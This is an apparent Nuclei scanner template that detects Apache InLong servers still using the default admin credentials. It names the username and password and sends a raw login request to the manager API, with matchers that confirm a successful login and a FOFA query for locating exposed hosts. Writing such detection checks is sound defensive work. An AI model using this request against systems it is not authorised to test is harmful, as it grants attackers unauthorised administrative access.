id: apache-inlong-default-login

info:
  name: Apache InLong - Default Login
  author: icarot
  severity: high
  description: |
    Apache InLong server enables default admin credentials. An attacker can execute unauthorized operations.
  reference:
    - https://github.com/apache/inlong/
  classification:
    cpe: cpe:2.3:a:apache:inlong:1.13.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: inlong
    fofa-query: icon_hash="1155196680"
  tags: apache,inlong,default-login,misconfig

variables:
  username: admin
  password: inlong

http:
  - raw:
      - |
        POST /inlong/manager/api/anno/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"errMsg":null'
          - '"data":true'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009cbaa68901bcc32dbe8028c98af6b67fea9babac9ba6ecb300df1ac888ff5b2b022033e6d55443f4463881d0c71fdd012c5438d5e440add84073850e85c87ce91f9b:922c64590222798bb761d5b6d8e72950